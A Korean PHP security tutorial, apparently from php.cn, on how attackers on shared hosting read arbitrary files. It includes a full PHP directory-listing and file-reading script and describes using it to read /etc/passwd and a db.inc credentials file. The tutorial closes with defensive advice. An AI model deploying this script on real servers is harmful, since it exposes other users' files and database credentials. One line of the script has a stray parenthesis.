공격자는 공유 서버에 있는 임의의 파일을 읽을 수 있을 뿐만 아니라 파일 시스템을 탐색할 수 있는 스크립트를 생성할 수도 있습니다. 대부분의 민감한 파일은 웹사이트의 홈 디렉터리에 저장되지 않으므로 일반적으로 이러한 유형의 스크립트는 소스 파일의 위치를 찾는 데 사용됩니다. 다음 예를 참조하세요.
<pre class="brush:php;toolbar:false"> <?php if (isset($_GET['dir'])) { ls($_GET['dir']); } elseif (isset($_GET['file'])) { cat($_GET['file']); } else { ls('/'); } function cat($file) { echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8')); } function ls($dir) { $handle = dir($dir); while ($filename = $handle->read()) { $size = filesize("$dir$filename"); if (is_dir("$dir$filename")) { $type = 'dir'; $filename .= '/'; } else { $type = 'file'; } if (is_readable("$dir$filename")) { $line = str_pad($size, 15); $line .= "<a href=\"{$_SERVER['PHP_SELF']}"; $line .= "?$type=$dir$filename\">$filename</a>"; } else { $line = str_pad($size, 15); $line .= $filename; } echo "$line\n"; } $handle->close(); } ?>
공격자는 먼저 /etc/passwd 파일 또는 /home 디렉터리를 확인하여 서버의 사용자 이름 목록을 얻을 수 있습니다. 웹 사이트의 홈 디렉터리 외부에 저장된 소스 파일의 위치는 include 또는 require와 같은 언어 구조를 통해 검색할 수 있습니다. 예를 들어 다음 스크립트 파일 /home/victim/public_html/admin.php를 고려해 보세요.
<?php include '../inc/db.inc'; /* ... */ ?>
공격자가 파일의 소스 코드를 표시하면 db.inc의 위치를 발견할 수 있으며 readfile() 함수를 사용하여 해당 내용을 노출하고 데이터베이스에 대한 액세스 권한을 얻을 수 있습니다. 따라서 웹사이트의 홈 디렉터리 외부에 db.inc를 저장해도 이 환경에서는 보호되지 않습니다.
이 공격은 공유 서버의 모든 소스 파일을 공개로 간주하고 모든 민감한 데이터를 보관하도록 데이터베이스를 선택해야 하는 이유를 보여줍니다.
위 내용은 PHP 보안 파일 시스템 검색 내용이며, 보다 자세한 내용은 PHP 중국어 홈페이지(www. php.cn)!